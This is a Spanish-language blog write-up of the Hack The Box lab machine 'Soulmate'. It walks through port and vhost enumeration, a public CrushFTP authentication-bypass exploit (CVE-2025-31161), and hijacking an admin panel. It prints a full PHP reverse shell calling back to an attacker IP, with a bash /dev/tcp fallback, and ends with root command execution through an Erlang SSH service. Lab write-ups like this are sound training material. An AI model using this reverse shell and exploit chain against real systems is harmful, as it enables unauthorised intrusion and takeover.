La máquina Soulmate es una máquina fácil de HTB.

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn».

ENUMERACIÓN DE PUERTOS

Como siempre suelo empezar con estas máquinas, realizamos un escaneo de puertos para enumerarlos y conocer qué versiones y servicios corren en ellos.

Antes, me aseguro de que la máquina víctima está activa y puedo ver a qué sistema operativo nos enfrentamos. Para ello:

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Mediante nmap y realizando un ping, obtenemos ambas respuestas.

Sabemos por tanto que la máquina víctima está activa y que su OS es Linux.

Esto último lo sabemos por el Time To Live que marca es de 64 , y que está asociado con máquinas Linux. En este caso como estamos en un laboratorio de HTB, se usa un nodo intermediario de conexión que lo reduce a 63..

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos. En mi caso uso siempre este comando (en este post te cuento lo que hace cada comando):

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.86 -oG Escaneo

Vemos con el escaneo que los puertos 22 y 80 están abiertos.

Pasamos a ver con nmap qué versiones y servicios corren para ambos puertos a través de un conjunto de scripts por defecto y así analizar si tienen alguna vulnerabilidad pública conocida.

nmap -sCV -p22,80 10.10.11.86

Conociendo la respuesta, me atrevo a decir que la intrusión no está de inicio por el puerto 22 ssh (normalmente por lo que he experimentado, solo ocurre cuando hay una entrada válida por defecto como Anonymous, pero no en este caso). Lo analicé con searchexploit y no detectó nada para esa versión 8.9:

VIRTUAL HOSTING / FUZZING WEB

Por tanto, y viendo que el puerto 80 devuelve en la respuesta que el servidor quiere redirigir hacia sabemos que está aplicando virtual hosting. Es por ello que si añadimos ese subdominio al fichero /etc/hosts , podremos ver la web.

Parece ser una web para encontrar parejas (de ahí el nombre de la máquina Soulmate ;D ).

Si navegamos a través de ella vemos un panel de login y registro (por php), un menú con links referenciados a partes de la página (sin url aparte), un mail de contacto … y nada más.

Después de investigar qué tecnologías usa la web para ver CMS y/o versión (no se ve ninguna a priori), analizar el código fuente, ver si existe (no) el archivo robots.txt que diera más información, etc, paso a hacer un análisis de directorios mediante fuzzing web por si hubiera algo en oculto que pudiera darme alguna pista de intrusión más (ya que el siguiente paso sería crearme una cuenta, etc.).

Para hacer fuzzing y descubrir tanto directorios como subdominios, vamos a usar la herramienta Gobuster.

Primero analizamos directorios o carpetas disponibles así como ficheros con extensión php, html y txt (donde en ocasiones he visto expuesto información de usuarios disponibles):

gobuster dir -u http://soulmate.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50

Vemos en la respuesta lo que a habíamos intuido navegando por la aplicación, y es la exposición de enlaces php a la parte de registro, login y a un dashboard o panel de usuario una vez creada la cuenta (además del logout).

NOTA: profundicé en el directorio /assets/ pero no encontré nada (ni siquiera nombres de usuario por las imágenes).

Hasta ahora no vemos una vulnerabilidad obvia: podríamos probar a registrarnos como usuario y revisar funcionalidades internas o intentar ataques de inyección SQL en los formularios con Burp Suite, pero antes vamos a ver algún otro punto de acceso.

Analizamos subdominios por si existiera alguno expuesto tipo admin, etc. Para ello usaremos Gobuster con el siguiente comando:

gobuster vhost -u http://soulmate.htb -w /usr/share/seclists/Discovery/DNS/bug-bounty-program-subdomains-trickest-inventory.txt --append-domain -t 50

Detectamos el subdominio ftp.soulmate.htb y lo probamos primero incluyéndolo en el etc/hosts de nuestra máquina para que lo pueda resolver.

Nos devuelve un panel de login para la subida de ficheros por un servidor ftp llamado CrushFTP: http://ftp.soulmate.htb/WebInterface/login.html

A simple vista no podemos ver la versión de la aplicación CrushFTP que corre por detrás, pero si vamos al código fuente, al final, vemos la versión v11:

Que si buscamos en searchsploit, coincide con un par de vulnerabilidades públicas:

EXPLOTACIÓN CVE AUTH BYPASS

Buscando en Google por vulnerabilidades y sploits que nos puedan servir para acceder, vemos este CVE-2025-31161 para las versiones entre la 10.x y la 11.x.

Esta es una vulnerabilidad crítica de CrushFTP que permite a los atacantes tomar control admin del servidor sin credenciales, añadiendo un usuario administrador arbitrario.

A partir de ahora lo que vamos a hacer es mediante un script ya publicado de Immersive-Labs-Sec, se crea un usuario admin nuevo aprovechando el fallo. Por defecto prueba con el admin “crushadmin”.

Para ello lo que hacemos es clonar el repositorio https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git donde se encuentra el script.

Para usarlo, de acuerdo con las instrucciones del repo, habría que completar la información del comando:

cve-2025-31161.py [-h] [--target_host TARGET_HOST] [--port PORT] [--target_user TARGET_USER] [--new_user NEW_USER] [--password PASSWORD]
python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user crushadmin --new_user admin999 --password 'Pass123!'

ABUSO DE GESTIÓN DE USUARIOS

Parece que el usuario y la contraseña se han creado correctamente por lo que vamos a probar a entrar a CrushFTP… y estamos dentro como Admin!

vamos ahora a la parte de Admin, y después a User Management:

Vemos todos los usuarios creados como admin (incluido nosotros):

Vamos al usuario «ben» (que parece el usuario más real de la lista) y le cambiamos la passw a ben1234 (y guardamos).

ahora cerramos la sesión de nuestra usuario admin999 inventado, y entramos como ben con la nueva passw que pusimos.

y estamos dentro!

REVERSE SHELL

Vemos 3 carpetas, de las cuales, la carpeta «webProd» es la que contiene todos los ficheros y páginas de la web soulmate.htb.

En este punto lo que hacemos es crear una reverse shell en nuestra máquina atacante:

<?php
// Reverse shell PHP -> Kali IP atacante 10.10.14.189:4444
$ip   = '10.10.14.189';
$port = 4444;

// Vía fsockopen + proc_open (método estándar)
$sock = @fsockopen($ip, $port);
if ($sock) {
  $proc = @proc_open('/bin/bash -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
  if (is_resource($proc)) { exit; }
}

// Fallback: /dev/tcp con bash (por si proc_open está deshabilitado)
@exec('/bin/bash -c "bash -i >& /dev/tcp/'.$ip.'/'.$port.' 0>&1"');
?>

dentro de la carpeta webProd, subimos el fichero php con la shell.

Una vez subido, y poniéndonos antes en escucha con netcat por el puerto 4444, vamos al navegador y ejecutamos http://soulmate.htb/shell.php (ruta donde se queda subida nuestra reverse shell), y ya estamos dentro como www-data:

para poder interactuar de manera sencilla con la terminal, lo que vamos a hacer es un «tratamiento de la tty» haciendo lo siguiente:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# ahora pulsa:  Ctrl+Z
stty raw -echo; fg
# (enter) y ya vuelves a la shell interactiva

USER FLAG

ahora como vemos, aparece el usuario ben y su passw. Con esto, vamos a acceder por ssh con el usuario ben y contra HouseH0ldings998 , y accedemos a ver la user flag.

Ahora vamos a escalar privilegios a root.

Cuando encontramos la contraseña del usuario ben antes (dos imágenes arriba) vimos que dentro de la máquina había un script de Erlang que exponía las credenciales de ben que estaba escuchando en el localhost 127.0.0.1:2222

Ese servicio corre como root por lo que si logramos conectarnos a él, podemos ejecutar comandos del sistema con permisos de root.

El puerto 2222 está ligado a 127.0.0.1 (la propia máquina víctima), es decir, no es accesible desde nuestra Kali atacante.

Comprobamos si el servicio Erlang-SSH está encendido mediante el comando siguiente desde el ssh de ben:

ss -tuln | grep 2222

PORT-FORWARDING

En este punto pasamos a realizar port-forward, es decir, como si nuestra Kali abre un puerto local que realmente apunta al 127.0.0.1:2222 de la víctima.

Para ello usamos:

ssh -L 2222:127.0.0.1:2222 ben@soulmate.htb

dejando esa terminal abierta para que el túnel no se cierre.

Ahora, en otra terminal nos conectamos a través del túnel:

ssh -p 2222 ben@127.0.0.1

y nos sale una consola Erlang (no bash). Este es el servidor SSH implementado en Erlang.

ROOT FLAG

Ejecutamos ahora comandos del sistema como root desde Erlang (los comandos acaban con punto .) y llegamos a ver la root flag.

os:cmd("whoami").
os:cmd("cat /root/root.txt").

RESUMEN DE LA MÁQUINA SOULMATE

En esta máquina empezamos con un escaneo Nmap y descubrimos los puertos HTTP (80) y SSH (22). Al enumerar la web, detectamos el subdominio ftp.soulmate.htb con un CrushFTP vulnerable. Usamos un exploit público de bypass de autenticación para crear nuestro propio usuario administrador en CrushFTP.

Ya dentro, reseteamos la contraseña de ben, entramos con su cuenta al panel de ficheros y subimos una webshell PHP al directorio servido por soulmate.htb. Al ejecutarla, obtuvimos shell como www-data (acceso inicial a la máquina).

Con esa shell, enumeramos el sistema y encontramos un script de Erlang que contenía la contraseña real de ben y revelaba un servicio SSH de Erlang escuchando solo en 127.0.0.1:2222. Nos conectamos por SSH normal como ben y montamos un túnel (ssh -L) para acceder desde Kali a ese puerto interno.

Finalmente, entramos al SSH de Erlang y, desde su consola, ejecutamos os:cmd("cat /root/root.txt"). para leer la flag de root (el servicio corría con privilegios de root).

Otros posts relacionados